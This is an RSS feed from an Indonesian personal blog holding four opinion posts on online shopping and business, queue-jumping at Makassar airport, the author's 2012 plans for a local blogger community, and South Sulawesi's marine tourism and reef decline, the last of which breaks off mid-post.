<?xml version="1.0" encoding="UTF-10"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Daeng Gassing &#187; Opini</title>
	<atom:link href="http://daenggassing.com/category/kupikir/feed/" rel="self" type="application/rss+xml" />
	<link>http://daenggassing.com</link>
	<description></description>
	<lastBuildDate>Thu, 09 Feb 2012 06:18:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Bisnis Online ; Sekarang dan Besok</title>
		<link>http://daenggassing.com/2012/01/bisnis-online/</link>
		<comments>http://daenggassing.com/2012/01/bisnis-online/#comments</comments>
		<pubDate>Mon, 16 Jan 2012 02:44:38 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Opini]]></category>
		<category><![CDATA[Senin]]></category>
		<category><![CDATA[Bisnis Online]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2271</guid>
		<description><![CDATA[Jaman sekarang, bagi masyarakat di perkotaan Internet sudah jadi bahan pokok kesepuluh. Melengkapi 9 bahan pokok lainnya. Internet ada di mana-mana dan digunakan siapa saja. Perlahan, bisnis online jadi salah satu celah yang dimanfaatkan pelaku Internet. Suatu hari seperti biasa saya menyambungkan diri dengan internet. Sebuah kebiasaan yang susah untuk dihilangkan, minimal dalam 5 tahun [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2272" class="wp-caption aligncenter" style="width: 637px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/make-money-online.jpg"><img class=" wp-image-2272" title="make-money-online" src="http://daenggassing.com/wp-content/uploads/2012/01/make-money-online.jpg" alt="" width="627" height="364" /></a><p class="wp-caption-text">Bisnis Online ( sumber : Google )</p></div>
<blockquote>
<h3>Jaman sekarang, bagi masyarakat di perkotaan Internet sudah jadi bahan pokok kesepuluh. Melengkapi 9 bahan pokok lainnya. Internet ada di mana-mana dan digunakan siapa saja. Perlahan, bisnis online jadi salah satu celah yang dimanfaatkan pelaku Internet.</h3>
</blockquote>
<p>Suatu hari seperti biasa saya menyambungkan diri dengan internet. Sebuah kebiasaan yang susah untuk dihilangkan, minimal dalam 5 tahun belakangan ini. Satu persatu laman saya kunjungi, sampai akhirnya berhenti di sebuah laman luar negeri yang khusus dibuat sebagai toko online. Satu persatu itemnya saya amati dan kemudian jatuh cinta pada sebuah item yang memang sudah lama saya inginkan.</p>
<p>Pilih barang, ikuti prosedurnya, masukkan nomor kartu kredit dan voila !! Selesai sudah. Beberapa minggu kemudian barang yang saya inginkan sudah ada di tangan. Tak perlu repot ke toko, apalagi item yang saya inginkan memang tidak tersedia di toko manapun di Makassar.</p>
<p>Sekali berhasil, selanjutnya ketagihan. Kali ini bukan cuma laman dari luar, tapi juga beberapa laman dari dalam negeri. Buku, kaos, hingga kamera dan perlengkapannya sukses tiba di tangan saya tanpa ada ritual belanja konvensional yang terlibat di dalamnya.</p>
<p>Itulah bisnis online. Ketika makin banyak orang terhubung ke internet, makin banyak pula yang merasa nyaman dengan interaksi dunia maya yang menghapus kontak mata dan sentuhan fisik. Belanjapun tak perlu capek ke toko dan kadang berdesakan. Semua prosesnya hanya sebatas layar monitor dan papan kunci.</p>
<blockquote><p>&#8220;Dapat uang dari blog itu mudah, asal tahu caranya&#8221;</p></blockquote>
<p>Tagline itu saya temukan di sebuah weblog. Melihat isinya, blog itu memang menawarkan cara mudah untuk menjaring uang menggunakan blog dan internet tentu saja. Itu bukan satu-satunya blog yang menawarkan cara seperti itu. Gunakan Google, tuliskan kata kunci <strong>&#8220;Bisnis Online&#8221;</strong> dan akan ada jutaan hasil temuan. Menakjubkan bukan ?</p>
<p>Satu dasawarsa terakhir bisnis online jadi pilihan hidup bagi para praktisi internet. Lupakan bisnis konvensional, internet sudah menawarkan banyak peluang untuk jadi ladang uang yang baru. Ragam bisnisnyapun bermacam-macam, dari yang jualan benda, jualan jasa hingga hanya jualan spot untuk iklan. Selalu saja ada sesuatu yang baru yang bisa dijadikan alat untuk menggarap ladang uang itu.</p>
<p>Lupakan cara lama ketika kita harus masuk ke toko, menyentuh sebuah benda, merasakan teksturnya, mematutnya di kaca dan membayarnya di kasir. Lupakan juga cara lama ketika kita membuka halaman demi halaman sebuah koran, mencari deretan iklan di iklan baris hanya demi sebuah layanan jasa.</p>
<p>Cara itu perlahan akan menjadi cara yang purba.</p>
<p>Toko jaman sekarang sudah banyak berubah. Tak perlu susah payah memacu kendaraan ke toko, tinggal menghubungkan diri dengan internet, bukan laman, pilih barangnya, lakukan transaksi online dan bersabarlah, barangnya akan datang.</p>
<p>Tapi memang tidak segampang itu. Orang Indonesia masih banyak yang tidak percaya pada toko online. Ritual melihat langsung barang yang dimaksud, menyentuhnya, merasakan tekturnya, mencium aromanya dan mematutnya di cermin masih jadi ritual yang susah untuk dilepaskan. Salah satu penghambat bisnis online memang adalah ritual itu. Tapi semua akan berjalan alami, toko online akan jadi pilihan pada waktunya.</p>
<p>Tapi bisnis online juga ibarat pisau yang tajam. Jatuh di tangan koki akan jadi alat membuat masakan yang lezat, tapi jatuh di tangan pembunuh akan jadi senjata mematikan.</p>
<p>Bisnis online dengan segala plus dan minusnya tidak hanya memudahkan orang mendapatkan barang atau jasa yang dibutuhkannya, tapi juga memudahkan orang untuk tertipu. Bukan hanya satu dua orang yang terjatuh pada kenyataan barang yang dipesannya tidak sebagus impian, atau bahkan sama sekali tertipu. Uang melayang, barang tak datang.</p>
<p>Celah selalu ada, dan orang jahat selalu hidup di mana saja untuk mengintip celah kecil itu dan memanfaatkannya. Tapi dunia memang begitu bukan ? Semua punya sisi buruk dan baik, malaikat berbaju putih selalu bersanding dengan setan berbaju hitam.</p>
<p>Bisnis online juga jadi celah untuk mereka yang berniat membantu orang-orang yang mau terjun ke dalamnya. Weblog yang saya sebut di atas salah satunya. Menawarkan cara yang jitu untuk terjun ke dunia bisnis online, termasuk tentu saja bagaimana mensiasatinya agar benar-benar bisa menjadi alat panen di ladang uang.</p>
<p>Selain cara seperti itu, <strong><a href="http://www.astamediagroup.com/whatweprovide/blogging-school">sekolah blog</a> </strong>juga sudah hadir. Cara yang mungkin lebih rumit karena ada proses pendaftaran dan tatap muka di kelas, tapi hasilnya lebih bisa dipertanggungjawabkan bukan ? <strong><a href="http://www.astamediagroup.com/whatweprovide/blogging-school">Sekolah blog</a> </strong>yang baik adalah yang tidak sekadar mengajarkan cara berbisnis online, tapi juga bagaimana menggunakan etika dalam berbisnis online. Percuma punya toko online kalau cuma menyesatkan konsumen. Ini tentu jadi tantangan untuk mereka yang berniat menularkan cara berbisnis online lewat sekolah blog.</p>
<p>Jaman terus berubah,suatu hari nanti internet akan jadi kebutuhan yang luar biasa besar melampaui apa yang kita bayangkan sekarang. Saat itulah bisnis online akan menghadapi tantangan yang semakin besar dan tentu saja keuntungan yang semakin besar. Hanya yang kuat dan jujurlah yang akan bertahan, karena dunia maya sesungguhnya sangat kejam. Bersiaplah untuk menantikan masa itu.</p>
<p><em>Tulisan ini diikutkan pada <a href="http://www.astamediagroup.com/lomba-blog-bisnis-online-astamedia-group">lomba blog</a> yang diadakan oleh Astamedia Group.</em></p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/01/bisnis-online/" title="online">online</a> (3)</li><li><a href="http://daenggassing.com/2012/01/bisnis-online/" title="sekolah blog bisnis online">sekolah blog bisnis online</a> (3)</li><li><a href="http://daenggassing.com/2012/01/bisnis-online/" title="bisnis apa ya besok">bisnis apa ya besok</a> (1)</li><li><a href="http://daenggassing.com/2012/01/bisnis-online/" title="cara berbisnis online">cara berbisnis online</a> (1)</li><li><a href="http://daenggassing.com/2012/01/bisnis-online/" title="gambar uang melayang">gambar uang melayang</a> (1)</li></ul><div class="shr-publisher-2271"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F01%2Fbisnis-online%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/01/bisnis-online/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Apa Sih Susahnya Antre ?</title>
		<link>http://daenggassing.com/2012/01/apa-sih-susahnya-antri/</link>
		<comments>http://daenggassing.com/2012/01/apa-sih-susahnya-antri/#comments</comments>
		<pubDate>Mon, 09 Jan 2012 12:37:26 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Opini]]></category>
		<category><![CDATA[Senin]]></category>
		<category><![CDATA[Antri]]></category>
		<category><![CDATA[bandara]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2230</guid>
		<description><![CDATA[Entah kenapa, orang Indonesia banyak yang masih susah untuk diajak antre dengan tertib. Sebagian karena memang tidak tahu fungsi antre, sebagian lagi karena memang bebal. Suatu hari di Bandara Sultan Hasanuddin. Di depan konter sebuah maskapai saya berdiri dengan tabah. Di depan saya ada segerombolan anak-anak muda, kalau tidak salah ada 5 orang. Sebagian dari [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2231" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/queue_2.jpg"><img class="size-full wp-image-2231" title="queue_2" src="http://daenggassing.com/wp-content/uploads/2012/01/queue_2.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Antri (sumber : Google )</p></div>
<blockquote>
<h3>Entah kenapa, orang Indonesia banyak yang masih susah untuk diajak antre dengan tertib. Sebagian karena memang tidak tahu fungsi antre, sebagian lagi karena memang bebal.</h3>
</blockquote>
<p>Suatu hari di Bandara Sultan Hasanuddin. Di depan konter sebuah maskapai saya berdiri dengan tabah. Di depan saya ada segerombolan anak-anak muda, kalau tidak salah ada 5 orang. Sebagian dari mereka berjaket almamater sebuah sekolah tinggi yang memproduksi abdi negara. Antrian masih panjang. Saya masih sabar sembari menunduk melekatkan mata pada blackberry.</p>
<p>Barisan berjalan perlahan dan saya masih serius memandang BB. Ketika menengadahkan kepala tahu-tahu seorang ibu berdiri di depan saya agak menyamping, persis di belakang rombongan anak-anak muda tadi. Saya mengernyitkan dahi. Saya lupa apa ibu itu sudah lama berdiri di sana atau memang baru menyerobot antrean. Barisan antrean memang kurang rapih karena anak-anak muda di depan saya bergerombol, tidak berbaris.</p>
<p>Perang batin muncul di kepala saya. Haruskah saya menegur ibu itu ? Satu sisi saya kesal karena dia menyerobot antrean meski saya juga kurang yakin dia menyerobot. Bagaimana kalau dia memang sudah duluan di depan saya ? Kebetulan saya juga sedang malas beradu argumen apalagi melayani celoteh seorang ibu-ibu yang dari tampangnya kelihatan ketus. Sudahlah pikir saya, dan akhirnya saya membiarkan ibu itu check in duluan.</p>
<p>Beberapa menit sebelum ibu itu selesai check in tiba-tiba seorang wanita tua berdiri di depan saya dan siap-siap maju ke konter check in. Saya menegurnya dengan halus.</p>
<p>&#8221; Maaf, ibu satu rombongan dengan ibu itu ? &#8220;, Sambil menunjuk ibu yang sedang check in.</p>
<p>Dia menggeleng. Kemudian masih dengan halus saya bilang, &#8221; Maaf bu, antre dulu ya..? &#8221;</p>
<p>Dia meminta maaf dan kemudian berjalan ke antrean paling belakang. Dari pakaiannya saya menganggap beliau tidak tahu makna antre, karena itu juga saya menegurnya dengan halus.</p>
<p>Dan, bisa jadi saya sedang diuji hari itu. Persis ketika ibu di depan saya selesai antre, tiba-tiba seorang bapak dengan jaket hitam necis dan koper yang ditarik menerobos antrean dan maju ke konter check in. Kali ini saya tidak menegur halus lagi. Nada suara saya tinggikan sedikit.</p>
<p>&#8221; Pak, maaf pak..antre dong !! &#8221;</p>
<p>Petugas konter check in juga menegur dengan kalimat yang hampir sama dan si bapak dengan senyum yang entah karena malu ketahuan atau karena apa kemudian berjalan ke belakang antrean. Saya hanya menggeleng. Hampir saja saya meledak hari itu.</p>
<p>Kejadian itu bukan pertamakalinya, saya lupa tepatnya kapan tapi yang jelas saya pernah hampir meledak dan menegur keras seorang bapak yang menyerobot antrean di depan konter check in bandara. Si bapak kelihatan rapih dan saya yakin sangat mengerti soal antre, tapi herannya dengan santainya dia menyerobot antrean tepat di depan saya. Saya menegurnya dengan agak keras, dia berbalik dan saya menatapnya tajam. Waktu itu saya tidak peduli apa yang akan terjadi, kalau memang harus berantem saya siap meladeni. Beruntung karena petugas juga menegur keras si bapak dan dengan bersungut-sungut dia berjalan ke antrean paling belakang.</p>
<p>Saya jadi bertanya-tanya, sebegitu susahnyakah untuk antre ? Sebegitu susahnyakah untuk bersabar sedikit dan tertib sedikit biar semuanya lancar ? Menyerobot antrean dan kemudian bergerombol karena tidak sabar dan ingin buru-buru justru membuat semuanya jadi kacau bukan ?</p>
<p>Saya jadi ingat postingan teman saya <strong><a href="http://www.helmantaofani.com/2011/11/distorsi-antri.html">di sini</a></strong> yang cerita tentang kebiasaan orang Indonesia menyikapi antrean. Banyak masalah yang kemudian timbul dari keengganan kita untuk tertib mengantre, bahkan beberapa di antaranya berbuah menjadi petaka yang merenggut korban jiwa. Antre zakat, antre tiket sepakbola dan bahkan antre produk Blackberry.</p>
<p>Apa sih susahnya antre ? Entah sampai kapan saya dan mungkin juga anda akan mengajukan pertanyaan yang sama. Mungkin sampai kita sudah tidak menemukan lagi orang-orang yang menerobos antrean di saat kita sedang sabar berdiri mengantri.</p>
<p>Bagaimana menurut anda ?</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/01/apa-sih-susahnya-antri/" title="antre di bank">antre di bank</a> (5)</li><li><a href="http://daenggassing.com/2012/01/apa-sih-susahnya-antri/" title="ANTRE">ANTRE</a> (3)</li><li><a href="http://daenggassing.com/2012/01/apa-sih-susahnya-antri/" title="antri tertib">antri tertib</a> (2)</li><li><a href="http://daenggassing.com/2012/01/apa-sih-susahnya-antri/" title="apa itu antre ????">apa itu antre ????</a> (1)</li><li><a href="http://daenggassing.com/2012/01/apa-sih-susahnya-antri/" title="apa sih susahnya">apa sih susahnya</a> (1)</li></ul><div class="shr-publisher-2230"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F01%2Fapa-sih-susahnya-antri%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/01/apa-sih-susahnya-antri/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Resolusi 2012 ; Blogger, Komunitas dan Kota</title>
		<link>http://daenggassing.com/2011/12/resolusi-2012-blogger-komunitas-dan-kota/</link>
		<comments>http://daenggassing.com/2011/12/resolusi-2012-blogger-komunitas-dan-kota/#comments</comments>
		<pubDate>Mon, 26 Dec 2011 12:29:40 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Opini]]></category>
		<category><![CDATA[Lomba Blog]]></category>
		<category><![CDATA[Resolusi Juara]]></category>
		<category><![CDATA[Telkom Speedy]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2188</guid>
		<description><![CDATA[Kalau tak ada aral melintang, 2012 nanti genap sudah dua tahun saya menerima tanggung jawab menjadi ketua komunitas Anging Mammiri. Tanggung jawab yang belum tuntas saya tunaikan dan belum tuntas saya balas. 2007. Itulah kali pertama saya bergabung dengan komunitas Blogger Makassar, Anging Mammiri.org tepat beberapa bulan sebelum ulang tahunnya yang pertama. Dari awal bergabung [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2189" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/IMG_4976.jpg"><img class="size-full wp-image-2189" title="_IMG_4976" src="http://daenggassing.com/wp-content/uploads/2011/12/IMG_4976.jpg" alt="Anging Mammiri" width="600" height="400" /></a><p class="wp-caption-text">Sebagian orang-orang yang luar biasa itu</p></div>
<blockquote>
<h3>Kalau tak ada aral melintang, 2012 nanti genap sudah dua tahun saya menerima tanggung jawab menjadi ketua komunitas Anging Mammiri. Tanggung jawab yang belum tuntas saya tunaikan dan belum tuntas saya balas.</h3>
</blockquote>
<p>2007. Itulah kali pertama saya bergabung dengan komunitas Blogger Makassar, <strong>Anging Mammiri.org</strong> tepat beberapa bulan sebelum ulang tahunnya yang pertama. Dari awal bergabung saya sudah tahu kalau saya bertemu dengan orang-orang yang keren, orang-orang muda yang penuh energi dan penuh pikiran-pikiran positif.</p>
<p>Perjalanan waktu kemudian membuat saya makin dekat dengan mereka. Saya punya visi dan pandangan yang sama dengan sebagian besar teman-teman di Anging Mammiri. Kami punya visi yang sama untuk mengembangkan potensi para blogger lokal kota Makassar untuk menyumbangkan sesuatu bagi kota di Selatan pulau Sulawesi ini selain tentu saja menjadi wadah silaturahmi para blogger yang merasa punya kedekatan dengan kota Makassar.</p>
<p>Hampir empat tahun setelah bergabung, teman-teman mendorong saya untuk naik sebagai ketua menggantikan <strong>Rara</strong> yang hijrah ke Jakarta. Bukan hal gampang, saya sendiri sempat menolak. Menjadi orang terdepan sebuah komunitas blogger terbesar di luar Jawa tentu bukan hal mudah. Tanggung jawabnya besar dan berat. Tapi kemudian dukungan dari para penggiat Anging Mammiri membuat saya luluh dan memberanikan diri memegang kepercayaan itu.</p>
<p>Setahun berselang, saya dan teman-teman yang luar biasa itu mulai menata kembali Anging Mammiri. Melanjutkan hal-hal positif yang sudah ada selama ini dan merumuskan hal-hal baru yang tak kalah positifnya. Waktu menjadi perekat utama kami, dalam perjalanannya waktu mengajarkan kami cara untuk bersahabat dengan emosi, berekspresi dengan bebas, menerima perbedaan dan menyatukan kesamaan. Kami belajar untuk menjadi orang yang lebih baik dalam satu wadah.</p>
<p>2012 tinggal menghitung hari. Tahun akan berganti tahun, dan perjalanan masih akan terus berlanjut. Beberapa hari sebelum 2012 saya sudah punya beberapa catatan di kepala tentang suatu hal yang kadang disebut orang dengan resolusi. Porsi terbesar adalah soal keterlibatan saya di komunitas Anging Mammiri dan tentang apa yang bisa kami sumbangkan pada kota ini.</p>
<h3><strong>Blogger, Komunitas dan Kota</strong></h3>
<p>Menjadi blogger kata orang berarti menjadi seorang penyampai kabar, bahasa kerennya <em>citizen journalist</em>. Blogger menjadi seorang warga biasa yang kadang bisa menulis hal-hal remeh seputar lingkungan mereka, menyebarkan banyak berita positif dan berjuang memperbaiki rona negatif yang sudah terlanjur ditorehkan media besar.</p>
<p>Ini adalah salah satu hal mendasar yang membuat <em>passion</em> ngeblog saya selalu ada. Menjadi pembawa kabar, memberikan pandangan berbeda tentang kota saya yang kadang tergambarkan begitu kasar dan menakutkan oleh media-media besar Indonesia. Tahun 2012, saya akan tetap melakukan hal yang sama. Saya akan tetap menuliskan banyak hal tentang kota saya, apa adanya, bukan sekadar hal-hal yang positif tentu saja. Saya ingin orang memandang kota saya sebagai kota yang tidak melulu berisi demo dan tawuran mahasiswa tapi juga sebagai kota yang nyaman untuk dikunjungi dan nyaman untuk memanjakan mata. Meski begitu saya juga tidak ingin menyembunyikan luka kecil dari kota ini. Biarkan semua berjalan apa adanya.</p>
<p>Dalam skala yang lebih besar saya ingin berbuat sesuatu bersama komunitas saya, <strong>Anging Mammiri</strong>. Hampir dua tahun menjadi ketua saya merasa belum memberikan sumbangsih berarti bagi komunitas ini. Masih banyak hal-hal yang ingin saya lakukan bersama orang-orang luar biasa di komunitas ini. Bersama mereka saya ingin menyebarkan virus bernama blog, membuat lebih banyak lagi orang yang bisa merasakan sisi positif dari <a href="http://telkomspeedy.com/">internet</a>, mengambil keuntungan sebesar-besarnya dari internet dan menggunakan internet untuk kepentingan mereka.</p>
<p>Bersama teman-teman kami sudah merancang banyak hal, merancang banyak kegiatan yang sekiranya bisa berguna untuk kota kami. Anggaplah itu sebagai hal kecil yang bisa kami sumbangkan. Selain ragam kegiatan <em>offline</em>, kami? juga ingin memanfaatkan kemampuan kami sebagai blogger untuk menyebarkan hal-hal positif dari kota kami. Membuat direktori wisata, mengumpulkan cerita-cerita tentang tempat-tempat menarik di kota ini, tentang makanan yang membuat liur menetes, tentang keragaman budaya, tentang cerita sejarah yang membuai, tentang apa saja yang bisa membuat orang memalingkan wajahnya ke kota ini dan mungkin menikmati liburan yang menyenangkan.</p>
<p>Saya dan teman-teman di Anging Mammiri mungkin hanya segerombolan manusia biasa di kota yang ramai ini, tapi setidaknya kami ingin berbuat sesuatu untuk kota ini. Kami hanya sekumpulan blogger yang senang berkumpul dan berbagi, dan kami ingin membagikan aura positif dari kota ini.</p>
<p>2012 sudah di depan mata, semoga saya makin bisa berbuat banyak untuk komunitas yang saya cintai ini dan tentu saja menyumbang sesuatu untuk kota yang selalu membuat saya enggan meninggalkannya. Mudah-mudahan resolusi 2012 ini bisa tercapai. Doakan saya.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/12/resolusi-2012-blogger-komunitas-dan-kota/" title="resolusi 2012">resolusi 2012</a> (28)</li><li><a href="http://daenggassing.com/2011/12/resolusi-2012-blogger-komunitas-dan-kota/" title="resolusi 2012 blog">resolusi 2012 blog</a> (5)</li><li><a href="http://daenggassing.com/2011/12/resolusi-2012-blogger-komunitas-dan-kota/" title="blog mengenai resolusi 2012">blog mengenai resolusi 2012</a> (4)</li><li><a href="http://daenggassing.com/2011/12/resolusi-2012-blogger-komunitas-dan-kota/" title="hal-hal yang membuat suatu kota besar">hal-hal yang membuat suatu kota besar</a> (2)</li><li><a href="http://daenggassing.com/2011/12/resolusi-2012-blogger-komunitas-dan-kota/" title="tag resolusi juara">tag resolusi juara</a> (1)</li></ul><div class="shr-publisher-2188"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F12%2Fresolusi-2012-blogger-komunitas-dan-kota%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/12/resolusi-2012-blogger-komunitas-dan-kota/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
		<item>
		<title>Wisata Bahari SulSel ; Raksasa Yang Tertidur</title>
		<link>http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/</link>
		<comments>http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 03:09:24 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Opini]]></category>
		<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[Kelautan]]></category>
		<category><![CDATA[Laut]]></category>
		<category><![CDATA[SulSel]]></category>
		<category><![CDATA[Wisata Bahari]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2179</guid>
		<description><![CDATA[Tulisan ini adalah catatan dari acara diskusi akhir tahun yang digelar ISLA-Unhas tanggal 21 Desember semalam. Indonesia adalah negara kepulauan, sejak dari jaman SD kita sudah dijejali dengan kata-kata itu. Luas laut Indonesia jauh lebih besar dari luas daratan. Sayangnya, dari SD sampai sekarang kita belum lihat bagaimana Indonesia menjadi besar karena kekuatan kelautannya. Dari [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2062" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/11/IMG_4754.jpg"><img class="size-full wp-image-2062" title="IMG_4754" src="http://daenggassing.com/wp-content/uploads/2011/11/IMG_4754.jpg" alt="Tinabo" width="600" height="399" /></a><p class="wp-caption-text">Tinabo oh Tinabo</p></div>
<blockquote>
<h3>Tulisan ini adalah catatan dari acara diskusi akhir tahun yang digelar ISLA-Unhas tanggal 21 Desember semalam.</h3>
</blockquote>
<p>Indonesia adalah negara kepulauan, sejak dari jaman SD kita sudah dijejali dengan kata-kata itu. Luas laut Indonesia jauh lebih besar dari luas daratan. Sayangnya, dari SD sampai sekarang kita belum lihat bagaimana Indonesia menjadi besar karena kekuatan kelautannya. Dari hasil tangkapan kita masih kalah dari Jepang dan bahkan Thailand. Dari hasil wisata ? Jangan ditanya lagi, ada sederet nama-nama negara tetangga yang justru lebih gendut dari hasil pariwisata bahari.</p>
<p>Masalahnya di mana ? Kenapa kita belum maksimal memanfaatkan kekayaan laut kita ? Kenapa fakta yang ada justru fakta kalau kekayaan alam bawah laut kita mulai tergerus ?</p>
<p>Dalam diskusi kelautan yang digelar <a href="http://isla-unhas.org/">Ikatan Sarjana Kelautan UNHAS</a> di gedung BAKTI hari Rabu kemarin tergambar jelas beberapa fakta tentang masalah yang dihadapi oleh negeri kita di sektor kelautan dan perikanan. Fakta paling utama adalah kurangnya perhatian pemerintah terhadap pengembangan sektor kelautan, entah itu yang menyangkut pemberdayaan masyarakat, pemanfaatan potensi kelautan hingga pengembangan sektor pariwisata.</p>
<div id="attachment_2072" class="wp-caption alignleft" style="width: 210px"><a href="http://daenggassing.com/wp-content/uploads/2011/11/IMG_4777.jpg"><img class="size-medium wp-image-2072" title="IMG_4777" src="http://daenggassing.com/wp-content/uploads/2011/11/IMG_4777-200x300.jpg" alt="" width="200" height="300" /></a><p class="wp-caption-text">Nelayan setempat yang perahunya kami sewa</p></div>
<h3><strong>Sejarah Indah Kelautan SulSel dan Masalahnya Kini</strong></h3>
<p>Sulawesi Selatan sebenarnya pernah jaya di sekor kelautan. Pada abad ke 15, kerajaan Gowa di bawah kepemimpinan <strong>Tumapakrisika Kallonna</strong> memindahkan ibukota kerajaan dari Kalegowa ke Somba Opu yang terletak di pesisir pantai barat Sulawesi. Itu menjadi tonggak awal kejayaan maritim kerajaan Gowa.</p>
<p>Selama seratus tahun lebih kerajaan Gowa menjadi pusat perdagangan yang sangat maju. Puluhan negara asing membuat pos dagang di Somba Opu, ratusan kapal asing berlabuh dan berdagang di ibukota kerajaan itu. Para pelaut Bugis-Makassar juga dikenal sebagai pelaut yang tangguh, mengitari separuh bumi dan berlayar jauh hingga ke Australia, Afrika dan Eropa.</p>
<p>Kepemimpinan yang tidak cakap, rongrongan dari dalam dan kemudian disempurnakan dengan serangan oleh VOC membuat kerajaan Gowa runtuh dan sejak itu, kejayaan maritim kerajaan Gowa dan Sulawesi Selatan seperti hilang nyaris tak berbekas.</p>
<p>Dua indikasi utama makin suramnya kondisi laut Sulawesi Selatan yaitu hutan mangrove dan terumbu karang yang kondisinya makin mengenaskan. Bahkan satu indikasi kecil lainnya adalah makin maraknya ikan hias yang diperjualbelikan sebagai makanan. Ini pertanda kalau ikan komersil juga mulai surut dan susah untuk didapatkan.</p>
<p>Sebuah NGO bernama <strong>MAP ( Mangrove Action Project )</strong> memaparkan fakta bahwa sebuah pulau di sekitar Makassar bernama Tanakeke telah kehilangan sekitar 1500 Ha hutan mangrove di rentang waktu antara 1974 hingga 2010. Sebuah angka yang cukup mengerikan. Saat ini MAP sedang menggalang usaha berbasis kerakyatan untuk mengembalikan hutan mangrove yang hilang tersebut.</p>
<p>Fakta mengerikan lainnya dibeberkan oleh bapak <strong>Syafyudin Yusuf</strong> seorang ahli terumbu karang dari UNHAS. Terumbu karang sebagai hutannya laut semakin hari kondisinya semakin memprihatinkan. Dari data yang ada, saat ini jumlah terumbu karang di Indonesia yang berada dalam kondisi sangat baik hanya sekitar 5%-6% sedangkan yang berada dalam kondisi sangat buruk sekitar 32% &#8211; 40%. Masalah terbesar adalah pada kerusakan akibat meningkatnya suhu bumi selain tentu saja faktor lain seperti pengeboman ikan, penggunaan racun ikan dan pembuangan limbah ke laut. Sayangnya kondisi buruk terumbu karang ini justru banyak terjadi di kawasan Indonesia Bagian Timur.</p>
<h3><strong>Wisata Bahari SulSel yang Belum Tersentuh</strong></h3>
<p>Dua sesi terakhir lebih banyak membahas tentang pariwisata bahari Sulawesi Selatan yang seperti masih jalan di tempat dan belum disentuh dengan serius, utamanya tentang pariwisata <a href="../../../../../2011/11/takabonerate-bag-1-jalan-panjang-menuju-surga/">Taka Bonerate</a>. Sebagai orang yang pernah diajak mengunjungi Taka Bonerate saya memberikan testimoni betapa indahnya kawasan taman nasional di Selatan pulau Sulawesi itu, tapi sekaligus juga betapa susahnya untuk bisa sampai ke sana.</p>
